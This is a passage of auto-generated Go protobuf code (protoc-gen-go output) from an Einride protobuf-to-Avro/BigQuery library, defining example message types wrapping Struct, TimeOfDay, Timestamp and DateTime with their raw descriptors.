ExampleStruct.ProtoReflect.Descriptor instead. 58 | func (*ExampleStruct) Descriptor() ([]byte, []int) { 59 | return file_einride_avro_example_v1_example_struct_proto_rawDescGZIP(), []int{0} 60 | } 61 | 62 | func (x *ExampleStruct) GetStruct() *structpb.Struct { 63 | if x != nil { 64 | return x.Struct 65 | } 66 | return nil 67 | } 68 | 69 | var File_einride_avro_example_v1_example_struct_proto protoreflect.FileDescriptor 70 | 71 | var file_einride_avro_example_v1_example_struct_proto_rawDesc = []byte{ 72 | 0x0a, 0x2c, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x65, 73 | 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 74 | 0x65, 0x5f, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x17, 75 | 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x61, 0x76, 0x72, 0x6f, 0x2e, 0x65, 0x78, 0x61, 76 | 0x6d, 0x70, 0x6c, 0x65, 0x2e, 0x76, 0x31, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 77 | 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x2e, 78 | 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x40, 0x0a, 0x0d, 0x45, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 79 | 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x12, 0x2f, 0x0a, 0x06, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 80 | 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 81 | 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 82 | 0x06, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x42, 0x5d, 0x5a, 0x5b, 0x67, 0x6f, 0x2e, 0x65, 0x69, 83 | 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x74, 0x65, 0x63, 0x68, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 84 | 0x62, 0x75, 0x66, 0x2d, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 85 | 0x6c, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 86 | 0x2f, 0x67, 0x65, 0x6e, 0x2f, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 0x76, 0x72, 87 | 0x6f, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x3b, 0x65, 0x78, 0x61, 88 | 0x6d, 0x70, 0x6c, 0x65, 0x76, 0x31, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, 89 | } 90 | 91 | var ( 92 | file_einride_avro_example_v1_example_struct_proto_rawDescOnce sync.Once 93 | file_einride_avro_example_v1_example_struct_proto_rawDescData = file_einride_avro_example_v1_example_struct_proto_rawDesc 94 | ) 95 | 96 | func file_einride_avro_example_v1_example_struct_proto_rawDescGZIP() []byte { 97 | file_einride_avro_example_v1_example_struct_proto_rawDescOnce.Do(func() { 98 | file_einride_avro_example_v1_example_struct_proto_rawDescData = protoimpl.X.CompressGZIP(file_einride_avro_example_v1_example_struct_proto_rawDescData) 99 | }) 100 | return file_einride_avro_example_v1_example_struct_proto_rawDescData 101 | } 102 | 103 | var file_einride_avro_example_v1_example_struct_proto_msgTypes = make([]protoimpl.MessageInfo, 1) 104 | var file_einride_avro_example_v1_example_struct_proto_goTypes = []any{ 105 | (*ExampleStruct)(nil), // 0: einride.avro.example.v1.ExampleStruct 106 | (*structpb.Struct)(nil), // 1: google.protobuf.Struct 107 | } 108 | var file_einride_avro_example_v1_example_struct_proto_depIdxs = []int32{ 109 | 1, // 0: einride.avro.example.v1.ExampleStruct.struct:type_name -> google.protobuf.Struct 110 | 1, // [1:1] is the sub-list for method output_type 111 | 1, // [1:1] is the sub-list for method input_type 112 | 1, // [1:1] is the sub-list for extension type_name 113 | 1, // [1:1] is the sub-list for extension extendee 114 | 0, // [0:1] is the sub-list for field type_name 115 | } 116 | 117 | func init() { file_einride_avro_example_v1_example_struct_proto_init() } 118 | func file_einride_avro_example_v1_example_struct_proto_init() { 119 | if File_einride_avro_example_v1_example_struct_proto != nil { 120 | return 121 | } 122 | type x struct{} 123 | out := protoimpl.TypeBuilder{ 124 | File: protoimpl.DescBuilder{ 125 | GoPackagePath: reflect.TypeOf(x{}).PkgPath(), 126 | RawDescriptor: file_einride_avro_example_v1_example_struct_proto_rawDesc, 127 | NumEnums: 0, 128 | NumMessages: 1, 129 | NumExtensions: 0, 130 | NumServices: 0, 131 | }, 132 | GoTypes: file_einride_avro_example_v1_example_struct_proto_goTypes, 133 | DependencyIndexes: file_einride_avro_example_v1_example_struct_proto_depIdxs, 134 | MessageInfos: file_einride_avro_example_v1_example_struct_proto_msgTypes, 135 | }.Build() 136 | File_einride_avro_example_v1_example_struct_proto = out.File 137 | file_einride_avro_example_v1_example_struct_proto_rawDesc = nil 138 | file_einride_avro_example_v1_example_struct_proto_goTypes = nil 139 | file_einride_avro_example_v1_example_struct_proto_depIdxs = nil 140 | } 141 | -------------------------------------------------------------------------------- /internal/examples/proto/gen/einride/avro/example/v1/example_timeofday.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // versions: 3 | // protoc-gen-go v1.35.2 4 | // protoc (unknown) 5 | // source: einride/avro/example/v1/example_timeofday.proto 6 | 7 | package examplev1 8 | 9 | import ( 10 | timeofday "google.golang.org/genproto/googleapis/type/timeofday" 11 | protoreflect "google.golang.org/protobuf/reflect/protoreflect" 12 | protoimpl "google.golang.org/protobuf/runtime/protoimpl" 13 | reflect "reflect" 14 | sync "sync" 15 | ) 16 | 17 | const ( 18 | // Verify that this generated code is sufficiently up-to-date. 19 | _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) 20 | // Verify that runtime/protoimpl is sufficiently up-to-date. 21 | _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) 22 | ) 23 | 24 | type ExampleTimeOfDay struct { 25 | state protoimpl.MessageState 26 | sizeCache protoimpl.SizeCache 27 | unknownFields protoimpl.UnknownFields 28 | 29 | TimeOfDay *timeofday.TimeOfDay `protobuf:"bytes,1,opt,name=time_of_day,json=timeOfDay,proto3" json:"time_of_day,omitempty"` 30 | } 31 | 32 | func (x *ExampleTimeOfDay) Reset() { 33 | *x = ExampleTimeOfDay{} 34 | mi := &file_einride_avro_example_v1_example_timeofday_proto_msgTypes[0] 35 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 36 | ms.StoreMessageInfo(mi) 37 | } 38 | 39 | func (x *ExampleTimeOfDay) String() string { 40 | return protoimpl.X.MessageStringOf(x) 41 | } 42 | 43 | func (*ExampleTimeOfDay) ProtoMessage() {} 44 | 45 | func (x *ExampleTimeOfDay) ProtoReflect() protoreflect.Message { 46 | mi := &file_einride_avro_example_v1_example_timeofday_proto_msgTypes[0] 47 | if x != nil { 48 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 49 | if ms.LoadMessageInfo() == nil { 50 | ms.StoreMessageInfo(mi) 51 | } 52 | return ms 53 | } 54 | return mi.MessageOf(x) 55 | } 56 | 57 | // Deprecated: Use ExampleTimeOfDay.ProtoReflect.Descriptor instead. 58 | func (*ExampleTimeOfDay) Descriptor() ([]byte, []int) { 59 | return file_einride_avro_example_v1_example_timeofday_proto_rawDescGZIP(), []int{0} 60 | } 61 | 62 | func (x *ExampleTimeOfDay) GetTimeOfDay() *timeofday.TimeOfDay { 63 | if x != nil { 64 | return x.TimeOfDay 65 | } 66 | return nil 67 | } 68 | 69 | var File_einride_avro_example_v1_example_timeofday_proto protoreflect.FileDescriptor 70 | 71 | var file_einride_avro_example_v1_example_timeofday_proto_rawDesc = []byte{ 72 | 0x0a, 0x2f, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x65, 73 | 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 74 | 0x65, 0x5f, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x66, 0x64, 0x61, 0x79, 0x2e, 0x70, 0x72, 0x6f, 0x74, 75 | 0x6f, 0x12, 0x17, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x61, 0x76, 0x72, 0x6f, 0x2e, 76 | 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2e, 0x76, 0x31, 0x1a, 0x1b, 0x67, 0x6f, 0x6f, 0x67, 77 | 0x6c, 0x65, 0x2f, 0x74, 0x79, 0x70, 0x65, 0x2f, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x66, 0x64, 0x61, 78 | 0x79, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x4a, 0x0a, 0x10, 0x45, 0x78, 0x61, 0x6d, 0x70, 79 | 0x6c, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x4f, 0x66, 0x44, 0x61, 0x79, 0x12, 0x36, 0x0a, 0x0b, 0x74, 80 | 0x69, 0x6d, 0x65, 0x5f, 0x6f, 0x66, 0x5f, 0x64, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 81 | 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x74, 0x79, 0x70, 0x65, 0x2e, 0x54, 82 | 0x69, 0x6d, 0x65, 0x4f, 0x66, 0x44, 0x61, 0x79, 0x52, 0x09, 0x74, 0x69, 0x6d, 0x65, 0x4f, 0x66, 83 | 0x44, 0x61, 0x79, 0x42, 0x5d, 0x5a, 0x5b, 0x67, 0x6f, 0x2e, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 84 | 0x65, 0x2e, 0x74, 0x65, 0x63, 0x68, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2d, 85 | 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x65, 0x78, 86 | 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x67, 0x65, 0x6e, 87 | 0x2f, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x65, 0x78, 88 | 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x3b, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 89 | 0x76, 0x31, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, 90 | } 91 | 92 | var ( 93 | file_einride_avro_example_v1_example_timeofday_proto_rawDescOnce sync.Once 94 | file_einride_avro_example_v1_example_timeofday_proto_rawDescData = file_einride_avro_example_v1_example_timeofday_proto_rawDesc 95 | ) 96 | 97 | func file_einride_avro_example_v1_example_timeofday_proto_rawDescGZIP() []byte { 98 | file_einride_avro_example_v1_example_timeofday_proto_rawDescOnce.Do(func() { 99 | file_einride_avro_example_v1_example_timeofday_proto_rawDescData = protoimpl.X.CompressGZIP(file_einride_avro_example_v1_example_timeofday_proto_rawDescData) 100 | }) 101 | return file_einride_avro_example_v1_example_timeofday_proto_rawDescData 102 | } 103 | 104 | var file_einride_avro_example_v1_example_timeofday_proto_msgTypes = make([]protoimpl.MessageInfo, 1) 105 | var file_einride_avro_example_v1_example_timeofday_proto_goTypes = []any{ 106 | (*ExampleTimeOfDay)(nil), // 0: einride.avro.example.v1.ExampleTimeOfDay 107 | (*timeofday.TimeOfDay)(nil), // 1: google.type.TimeOfDay 108 | } 109 | var file_einride_avro_example_v1_example_timeofday_proto_depIdxs = []int32{ 110 | 1, // 0: einride.avro.example.v1.ExampleTimeOfDay.time_of_day:type_name -> google.type.TimeOfDay 111 | 1, // [1:1] is the sub-list for method output_type 112 | 1, // [1:1] is the sub-list for method input_type 113 | 1, // [1:1] is the sub-list for extension type_name 114 | 1, // [1:1] is the sub-list for extension extendee 115 | 0, // [0:1] is the sub-list for field type_name 116 | } 117 | 118 | func init() { file_einride_avro_example_v1_example_timeofday_proto_init() } 119 | func file_einride_avro_example_v1_example_timeofday_proto_init() { 120 | if File_einride_avro_example_v1_example_timeofday_proto != nil { 121 | return 122 | } 123 | type x struct{} 124 | out := protoimpl.TypeBuilder{ 125 | File: protoimpl.DescBuilder{ 126 | GoPackagePath: reflect.TypeOf(x{}).PkgPath(), 127 | RawDescriptor: file_einride_avro_example_v1_example_timeofday_proto_rawDesc, 128 | NumEnums: 0, 129 | NumMessages: 1, 130 | NumExtensions: 0, 131 | NumServices: 0, 132 | }, 133 | GoTypes: file_einride_avro_example_v1_example_timeofday_proto_goTypes, 134 | DependencyIndexes: file_einride_avro_example_v1_example_timeofday_proto_depIdxs, 135 | MessageInfos: file_einride_avro_example_v1_example_timeofday_proto_msgTypes, 136 | }.Build() 137 | File_einride_avro_example_v1_example_timeofday_proto = out.File 138 | file_einride_avro_example_v1_example_timeofday_proto_rawDesc = nil 139 | file_einride_avro_example_v1_example_timeofday_proto_goTypes = nil 140 | file_einride_avro_example_v1_example_timeofday_proto_depIdxs = nil 141 | } 142 | -------------------------------------------------------------------------------- /internal/examples/proto/gen/einride/avro/example/v1/example_timestamp.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // versions: 3 | // protoc-gen-go v1.35.2 4 | // protoc (unknown) 5 | // source: einride/avro/example/v1/example_timestamp.proto 6 | 7 | package examplev1 8 | 9 | import ( 10 | protoreflect "google.golang.org/protobuf/reflect/protoreflect" 11 | protoimpl "google.golang.org/protobuf/runtime/protoimpl" 12 | timestamppb "google.golang.org/protobuf/types/known/timestamppb" 13 | reflect "reflect" 14 | sync "sync" 15 | ) 16 | 17 | const ( 18 | // Verify that this generated code is sufficiently up-to-date. 19 | _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) 20 | // Verify that runtime/protoimpl is sufficiently up-to-date. 21 | _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) 22 | ) 23 | 24 | type ExampleTimestamp struct { 25 | state protoimpl.MessageState 26 | sizeCache protoimpl.SizeCache 27 | unknownFields protoimpl.UnknownFields 28 | 29 | Timestamp *timestamppb.Timestamp `protobuf:"bytes,1,opt,name=timestamp,proto3" json:"timestamp,omitempty"` 30 | } 31 | 32 | func (x *ExampleTimestamp) Reset() { 33 | *x = ExampleTimestamp{} 34 | mi := &file_einride_avro_example_v1_example_timestamp_proto_msgTypes[0] 35 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 36 | ms.StoreMessageInfo(mi) 37 | } 38 | 39 | func (x *ExampleTimestamp) String() string { 40 | return protoimpl.X.MessageStringOf(x) 41 | } 42 | 43 | func (*ExampleTimestamp) ProtoMessage() {} 44 | 45 | func (x *ExampleTimestamp) ProtoReflect() protoreflect.Message { 46 | mi := &file_einride_avro_example_v1_example_timestamp_proto_msgTypes[0] 47 | if x != nil { 48 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 49 | if ms.LoadMessageInfo() == nil { 50 | ms.StoreMessageInfo(mi) 51 | } 52 | return ms 53 | } 54 | return mi.MessageOf(x) 55 | } 56 | 57 | // Deprecated: Use ExampleTimestamp.ProtoReflect.Descriptor instead. 58 | func (*ExampleTimestamp) Descriptor() ([]byte, []int) { 59 | return file_einride_avro_example_v1_example_timestamp_proto_rawDescGZIP(), []int{0} 60 | } 61 | 62 | func (x *ExampleTimestamp) GetTimestamp() *timestamppb.Timestamp { 63 | if x != nil { 64 | return x.Timestamp 65 | } 66 | return nil 67 | } 68 | 69 | var File_einride_avro_example_v1_example_timestamp_proto protoreflect.FileDescriptor 70 | 71 | var file_einride_avro_example_v1_example_timestamp_proto_rawDesc = []byte{ 72 | 0x0a, 0x2f, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x65, 73 | 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 74 | 0x65, 0x5f, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x2e, 0x70, 0x72, 0x6f, 0x74, 75 | 0x6f, 0x12, 0x17, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x61, 0x76, 0x72, 0x6f, 0x2e, 76 | 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2e, 0x76, 0x31, 0x1a, 0x1f, 0x67, 0x6f, 0x6f, 0x67, 77 | 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x74, 0x69, 0x6d, 0x65, 78 | 0x73, 0x74, 0x61, 0x6d, 0x70, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x4c, 0x0a, 0x10, 0x45, 79 | 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x12, 80 | 0x38, 0x0a, 0x09, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x18, 0x01, 0x20, 0x01, 81 | 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 82 | 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x52, 0x09, 83 | 0x74, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x42, 0x5d, 0x5a, 0x5b, 0x67, 0x6f, 0x2e, 84 | 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x74, 0x65, 0x63, 0x68, 0x2f, 0x70, 0x72, 0x6f, 85 | 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2d, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 86 | 0x6e, 0x61, 0x6c, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x73, 0x2f, 0x70, 0x72, 0x6f, 87 | 0x74, 0x6f, 0x2f, 0x67, 0x65, 0x6e, 0x2f, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 88 | 0x76, 0x72, 0x6f, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x3b, 0x65, 89 | 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x76, 0x31, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, 90 | } 91 | 92 | var ( 93 | file_einride_avro_example_v1_example_timestamp_proto_rawDescOnce sync.Once 94 | file_einride_avro_example_v1_example_timestamp_proto_rawDescData = file_einride_avro_example_v1_example_timestamp_proto_rawDesc 95 | ) 96 | 97 | func file_einride_avro_example_v1_example_timestamp_proto_rawDescGZIP() []byte { 98 | file_einride_avro_example_v1_example_timestamp_proto_rawDescOnce.Do(func() { 99 | file_einride_avro_example_v1_example_timestamp_proto_rawDescData = protoimpl.X.CompressGZIP(file_einride_avro_example_v1_example_timestamp_proto_rawDescData) 100 | }) 101 | return file_einride_avro_example_v1_example_timestamp_proto_rawDescData 102 | } 103 | 104 | var file_einride_avro_example_v1_example_timestamp_proto_msgTypes = make([]protoimpl.MessageInfo, 1) 105 | var file_einride_avro_example_v1_example_timestamp_proto_goTypes = []any{ 106 | (*ExampleTimestamp)(nil), // 0: einride.avro.example.v1.ExampleTimestamp 107 | (*timestamppb.Timestamp)(nil), // 1: google.protobuf.Timestamp 108 | } 109 | var file_einride_avro_example_v1_example_timestamp_proto_depIdxs = []int32{ 110 | 1, // 0: einride.avro.example.v1.ExampleTimestamp.timestamp:type_name -> google.protobuf.Timestamp 111 | 1, // [1:1] is the sub-list for method output_type 112 | 1, // [1:1] is the sub-list for method input_type 113 | 1, // [1:1] is the sub-list for extension type_name 114 | 1, // [1:1] is the sub-list for extension extendee 115 | 0, // [0:1] is the sub-list for field type_name 116 | } 117 | 118 | func init() { file_einride_avro_example_v1_example_timestamp_proto_init() } 119 | func file_einride_avro_example_v1_example_timestamp_proto_init() { 120 | if File_einride_avro_example_v1_example_timestamp_proto != nil { 121 | return 122 | } 123 | type x struct{} 124 | out := protoimpl.TypeBuilder{ 125 | File: protoimpl.DescBuilder{ 126 | GoPackagePath: reflect.TypeOf(x{}).PkgPath(), 127 | RawDescriptor: file_einride_avro_example_v1_example_timestamp_proto_rawDesc, 128 | NumEnums: 0, 129 | NumMessages: 1, 130 | NumExtensions: 0, 131 | NumServices: 0, 132 | }, 133 | GoTypes: file_einride_avro_example_v1_example_timestamp_proto_goTypes, 134 | DependencyIndexes: file_einride_avro_example_v1_example_timestamp_proto_depIdxs, 135 | MessageInfos: file_einride_avro_example_v1_example_timestamp_proto_msgTypes, 136 | }.Build() 137 | File_einride_avro_example_v1_example_timestamp_proto = out.File 138 | file_einride_avro_example_v1_example_timestamp_proto_rawDesc = nil 139 | file_einride_avro_example_v1_example_timestamp_proto_goTypes = nil 140 | file_einride_avro_example_v1_example_timestamp_proto_depIdxs = nil 141 | } 142 | -------------------------------------------------------------------------------- /internal/examples/proto/gen/einride/bigquery/example/v1/example_datetime.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // versions: 3 | // protoc-gen-go v1.35.2 4 | // protoc (unknown) 5 | // source: einride/bigquery/example/v1/example_datetime.proto 6 | 7 | package examplev1 8 | 9 | import ( 10 | datetime "google.golang.org/genproto/googleapis/type/datetime" 11 | protoreflect "google.golang.org/protobuf/reflect/protoreflect" 12 | protoimpl "google.golang.org/protobuf/runtime/protoimpl" 13 | reflect "reflect" 14 | sync "sync" 15 | ) 16 | 17 | const ( 18 | // Verify that this generated code is sufficiently up-to-date. 19 | _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) 20 | // Verify that runtime/protoimpl is sufficiently up-to-date. 21 | _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) 22 | ) 23 | 24 | type ExampleDateTime struct { 25 | state protoimpl.MessageState 26 | sizeCache protoimpl.SizeCache 27 | unknownFields protoimpl.UnknownFields 28 | 29 | DateTime *datetime.DateTime `protobuf:"bytes,1,opt,name=date_time,json=dateTime,proto3" json:"date_time,omitempty"` 30 | } 31 | 32 | func (x *ExampleDateTime) Reset() { 33 | *x = ExampleDateTime{} 34 | mi := &file_einride_bigquery_example_v1_example_datetime_proto_msgTypes[0] 35 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 36 | ms.StoreMessageInfo(mi) 37 | } 38 | 39 | func (x *ExampleDateTime) String() string { 40 | return protoimpl.X.MessageStringOf(x) 41 | } 42 | 43 | func (*ExampleDateTime) ProtoMessage() {} 44 | 45 | func (x *ExampleDateTime) ProtoReflect() protoreflect.Message { 46 | mi := &file_einride_bigquery_example_v1_example_datetime_proto_msgTypes[0] 47 | if x != nil { 48 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 49 | if ms.LoadMessageInfo() == nil { 50 | ms.StoreMessageInfo(mi) 51 | } 52 | return ms 53 | } 54 | return mi.MessageOf(x) 55 | } 56 | 57 | // Deprecated: Use ExampleDateTime.ProtoReflect.Descriptor instead. 58 | func (*ExampleDateTime) Descriptor() ([]byte, []int) { 59 | return file_einride_bigquery_example_v1_example_datetime_proto_rawDescGZIP(), []int{0} 60 | } 61 | 62 | func (x *ExampleDateTime) GetDateTime() *datetime.DateTime { 63 | if x != nil { 64 | return x.DateTime 65 | } 66 | return nil 67 | } 68 | 69 | var File_einride_bigquery_example_v1_example_datetime_proto protoreflect.FileDescriptor 70 | 71 | var file_einride_bigquery_example_v1_example_datetime_proto_rawDesc = []byte{ 72 | 0x0a, 0x32, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x62, 0x69, 0x67, 0x71, 0x75, 0x65, 73 | 0x72, 0x79, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x2f, 0x65, 0x78, 74 | 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x5f, 0x64, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x2e, 0x70, 75 | 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x1b, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x62, 0x69, 76 | 0x67, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2e, 0x76, 77 | 0x31, 0x1a, 0x1a, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x74, 0x79, 0x70, 0x65, 0x2f, 0x64, 78 | 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x45, 0x0a, 79 | 0x0f, 0x45, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x44, 0x61, 0x74, 0x65, 0x54, 0x69, 0x6d, 0x65, 80 | 0x12, 0x32, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x65, 0x5f, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x01, 0x20, 81 | 0x01, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x74, 0x79, 0x70, 82 | 0x65, 0x2e, 0x44, 0x61, 0x74, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x52, 0x08, 0x64, 0x61, 0x74, 0x65, 83 | 0x54, 0x69, 0x6d, 0x65, 0x42, 0x61, 0x5a, 0x5f, 0x67, 0x6f, 0x2e, 0x65, 0x69, 0x6e, 0x72, 0x69, 84 | 0x64, 0x65, 0x2e, 0x74, 0x65, 0x63, 0x68, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 85 | 0x2d, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x65, 86 | 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x67, 0x65, 87 | 0x6e, 0x2f, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x62, 0x69, 0x67, 0x71, 0x75, 0x65, 88 | 0x72, 0x79, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x3b, 0x65, 0x78, 89 | 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x76, 0x31, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, 90 | } 91 | 92 | var ( 93 | file_einride_bigquery_example_v1_example_datetime_proto_rawDescOnce sync.Once 94 | file_einride_bigquery_example_v1_example_datetime_proto_rawDescData = file_einride_bigquery_example_v1_example_datetime_proto_rawDesc 95 | ) 96 | 97 | func file_einride_bigquery_example_v1_example_datetime_proto_rawDescGZIP() []byte { 98 | file_einride_bigquery_example_v1_example_datetime_proto_rawDescOnce.Do(func() { 99 | file_einride_bigquery_example_v1_example_datetime_proto_rawDescData = protoimpl.X.CompressGZIP(file_einride_bigquery_example_v1_example_datetime_proto_rawDescData) 100 | }) 101 | return file_einride_bigquery_example_v1_example_datetime_proto_rawDescData 102 | } 103 | 104 | var file_einride_bigquery_example_v1_example_datetime_proto_msgTypes = make([]protoimpl.MessageInfo, 1) 105 | var file_einride_bigquery_example_v1_example_datetime_proto_goTypes = []any{ 106 | (*ExampleDateTime)(nil), // 0: einride.bigquery.example.v1.ExampleDateTime 107 | (*datetime.DateTime)(nil), // 1: google.type.DateTime 108 | } 109 | var file_einride_bigquery_example_v1_example_datetime_proto_depIdxs = []int32{ 110 | 1, // 0: einride.bigquery.example.v1.ExampleDateTime.date_time:type_name -> 